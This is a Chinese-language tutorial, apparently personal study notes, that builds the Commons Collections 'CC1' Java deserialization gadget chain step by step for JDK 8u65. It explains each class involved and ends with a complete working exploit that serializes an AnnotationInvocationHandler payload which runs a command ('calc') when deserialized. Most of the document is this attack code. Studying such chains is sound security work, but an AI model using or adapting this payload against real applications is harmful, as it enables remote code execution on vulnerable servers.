https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
https://github.com/Drun1baby/JavaSecurityLearning?tab=readme-ov-file
前置 cc1对于 jdk 版本为 jdk8u65 , 因为高版本下 cc 链被修复了。https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html (cn 下载的可能是111)
这边注意看下载下来的版本是否是 jdk1.8.0_65
1 2 3 4 5 6 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
解压后将 src\share\classes\sun 复制到 jdk 1.8.0_65 下解压的 src 下
Project Structure 中修改
添加完成后可以双击 shift 检查是否出现了 AnnotationInvocationHandler.java 如果没有可以尝试重启 IDEA 或者在这里下载:https://github.com/openjdk/jdk8u/tree/jdk8u65-b17/jdk/src/share/classes
Common-Collections 简介 Apache Commons 是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections 包为Java标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
包结构介绍
org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag – 实现Bag接口的一组类
org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer – 实现Buffer接口的一组类
org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list – 实现java.util.List接口的一组类
org.apache.commons.collections.map – 实现Map系列接口的一组类
org.apache.commons.collections.set – 实现Set系列接口的一组类
在开始之前,首先要知道反序列化的攻击思路。 入口类需要有一个 readObject 方法,结尾需要有一个能够命执行的方法,中间通过链子引导过去。 所以整个攻击链肯定是从尾部 开始找的,就像 IDA 逆向一样。
寻找 exec 方法 这里我们进入到 Transformer 接口中 快捷键 ctrl + alt + B,查看实现接口的类。
可以看到,这里有一个反射的代码,可以作为最终执行 exec 函数的地方。
为了方便理清反射调用这一块存在的漏洞点,我们可以先用反射去弹一个计算器。
1 2 3 4 public static void main (String[] args) throws IOException { Runtime.getRuntime().exec("calc" ); }
1 2 3 4 5 6 public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime r = Runtime.getRuntime(); Class c = r.getClass(); Method method = c.getMethod("exec" , String.class); method.invoke(r, "calc" ); }
利用 InvokerTransformer 的反射代码
public Object transform(Object input) 很好理解,填入一个对象肯定是填入 Runtime.getRuntime() 创建出来的 r
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) 这一段,首先第一个 String methodName 肯定是写 exec 第二个参数类型, 那就是String.class ,但是写的时候要根据参数的格式来写, new Class[]{String.class} 最后一个参数值,就是 calc ,数组类型传入: new Object[]{"calc"}
1 2 Runtime r = Runtime.getRuntime(); new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(r);
也就是先进行有参构造,然后去调用 InvokerTransformer 下的 transform 方法。
继续寻找利用链 现在我们已经找到了最后一步危险方法的调用 是通过调用 InvokerTransformer 下的 transform 方法 所以我们可以开始反向查找有哪些方法是可以调用这个方法的 。
进入 InvokerTransformer ,选中 transform 邮件点击 Find Usage
这里如果有问题的话,可以 Alt + Shift + Ctrl + F7 进行查找,选择 All Place
还是建议手工去 find Usage ,这里直接贴出来了。
TransformedMap 类中定义了 chekcSetValue 方法, 其中调用了 transform 方法
继续跟进 valueTransformer 的 find usage
是一个构造方法,可以修改 valueTransformer 的值,但是 proteced 没办法修改。
继续 find usage 后发现,decorate 方法可以创建 TransformedMap 对象
至此,CheckSetValue 方法中的 valueTranmsformer 部分我们已经找齐了: 我们需要控制 valueTransformer 属性为 InvokerTransformer。 该构造函数 TransformedMap 调用了该属性,但是是一个受保护的方法,继续找可以找到 decorate 方法可以进行修改。
我们可以先对这一部分链子进行 poc 验证。
decorate 的要求为public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
所以我们要传入一个 map 其中 keyTransformer 对于我们的利用是没有作用的直接给 null,valueTransformer 我们要修改为 InvokerTransformer
1 Map decorateMap = TransformedMap.decorate(map, null , InvokerTransformer);
因为 protected Object checkSetValue(Object value) 是 protected,所以我们直接暴力反射进行验证
完整 poc
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime r = Runtime.getRuntime(); InvokerTransformer InvokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); Map decorateMap = TransformedMap.decorate(map, null , InvokerTransformer); Class c = TransformedMap.class; Method m = c.getDeclaredMethod("checkSetValue" , Object.class); m.setAccessible(true ); m.invoke(decorateMap, r); }
TransformedMap -> decorate() -> TransformedMap() -> {reflect}checkSetValue(r) -> InvokerTransformer.transform()
完善链子
find usage 后看到 setValue 这里调用了 checkSetValue 位于内部类 MapEntry 中,位于 AbstractInputCheckedMapDecorator 类中
可以通过小箭头向上寻找 override 的方法
AbstractMapEntryDecorator
以及 Map 接口
这个 setValue 方法实际上就是在对 Entry 键值对进行 setValue 操作。
同时,TransformedMap 类继承了 AbstractInputCheckedMapDecorator ,也就是说 AbstractInputCheckedMapDecorator 是该类父类
所以在我们进行 TransformedMap 类中的 decorate 方法调用,进行 Map 遍历 setValue,就会从父类中寻找 setValue 方法,走到 setValue() 中,然后调用checkSetValue 方法。
尝试写一下 POC
1 2 3 4 5 6 7 8 9 10 Runtime r = Runtime.getRuntime(); InvokerTransformer InvokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null , InvokerTransformer); for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(r); }
目前链子流程(代替了之前需要反射的步骤) TransformedMap -> decorate() -> TransformedMap() -> (Map.Entry)AbstractInputCheckedMapDecorator.setValue() -> TransformedMap.checkSetValue() -> InvokerTransformer.transform(runtime)
寻找链首 继续从 setValue find usage 这里我们的目标是: 找在 readObject() 下的 Map.Entry
AnnotationInvocationHandler -> readObject()InvocationHandler 这个后缀在动态代理中提到过,是用做动态代理中间处理
看该类的构造方法:
注意这里的参数传递,第一个 type 为 Class 类型,继承的注解类型;第二个为 Map 类型的 memberValues,那这里我们直接把 decorateMap 传进去就行。
还有一个需要注意的是,该类不是 public 类型,没有写默认为 default 类型,需要用反射来调用。
先写一个大体的利用框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class cc1 { public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer InvokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null , InvokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHdlConstructor.setAccessible(true ); Object o = annotationInvocationHdlConstructor.newInstance(Override.class, decorateMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
但是遇到了几个问题:
Runtime 对象不可序列化(没有继承接口 ),只能通过反射的方式的方式来序列化
setValue() 的传参,我们预期是 runTime ,但是实际上是这些东西:
需要解决前置要求,也就是两个 if
解决 Runtime 不能被序列化的问题 虽然说 Runtime.getRuntime() 不能序列化,但是 class 可以序列化。
我们先写一个正常的 calc 反射
1 2 3 4 5 Class c = Runtime.class;Method getRuntimeMethod = c.getDeclaredMethod("getRuntime" , null );Runtime r = (Runtime) getRuntimeMethod.invoke(null , null );Method execMethod = c.getMethod("exec" , String.class);execMethod.invoke(r,"calc" );
可以正常执行,接下来我们要通过 InvokerTransformer 类中的链子 来对 Runtime 进行弹计算器操作 就是无限套的过程
1 2 3 4 5 public static void main (String[] args) throws Exception { Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethod); new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(r); }
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
最后的Runtime.class 也就相当于 Class c = Runtime.class ; c.xxx"getMethod" 就是要调用的方法,注意填入方法参数 getMethod(String name, Class<?>... parameterTypes){"getRuntime", null} 表示要找的方法为 getRuntime 的参数
(够详细)
后面的代码同理,不做解释了;验证代码是否可以运行:
至此,我们已经修改成了可以序列化的版本; 但是我们可以注意到:
代码整体都是利用 new InvokerTransformer().transform()
最后 method.invoke() 方法里的参数都是前一个的结果
从代码的复用性角度来说,我们应当减少这种复用的工作量
于是我们使用 ChainedTransformer 这个类:
object = iTransformers[i].transform(object); 本身也做了一个递归的操作,不断地重新赋值 object 后又传入
所以代码可以写成:
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(Runtime.class);
没问题,我们与下面的 decorate 链子一起写完整
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class cc1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHdlConstructor.setAccessible(true ); Object o = annotationInvocationHdlConstructor.newInstance(Override.class, decorateMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
目前为止,Runtime 无法序列化的问题我们已经解决,但是这个 poc 还是无法利用。 因为我们还需要解决下面两个问题
解决进入 setValue 方法问题 我们先下两个断点来分析一下:
memberValue 为键值对 memberValue.getValue() 获取键值对的 key memberTypes.get(name) 然后在 memberTypes 里查找这个 key; 这里 memberTypes 就是我们一开始构造方法传入的 Override.class
因为 Override 注解里面是没有成员属性的
所以我们可以找一个有成员属性的 class,同时数组的 key 要改写成成员属性的名字
@Target:
我们修改这两处:
可以看到这次成功走进来了 , 并且不需要管第二个 if。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class cc1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHdlConstructor.setAccessible(true ); Object o = annotationInvocationHdlConstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
解决传参问题
我们跟进 setValue
我们实际到达的地方是是这里,后面就要进行 InvokerTransformer 的调用了。 但是那一串参数会导致运行时出问题,这个时候我们就要用到 ConstantTransformer 类。
ConstantTransformer:
不管传入什么参数,最终还是会返回 iConstant
我们在 Transformer[] 添加第一行,让他返回 Runtime.class :
1 new ConstantTransformer (Runtime.class)
这样我们就可以完全忽略 value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)) 这一串参数了。
完整 cc1 链 ObjectInputStream.readObject() 反序列化开始
-> AnnotationInvocationHandler.readObject() 入口类 传入的decorateMap 赋值给了 memberValue ,执行在 TransformedMap 中重写的 setValue()
-> TransformedMap.checkSetValue() 调用 valueTransformer.transform(value)
-> ChainedTransformer.transform() 顺序调用 transform
-> ConstantTransformer.transform()
return Runtime.class
-> InvokerTransformer.transform()
getRuntime
invoke Runtime
exec(“calc”)
完整 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package xekoner;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHdlConstructor.setAccessible(true ); Object o = annotationInvocationHdlConstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }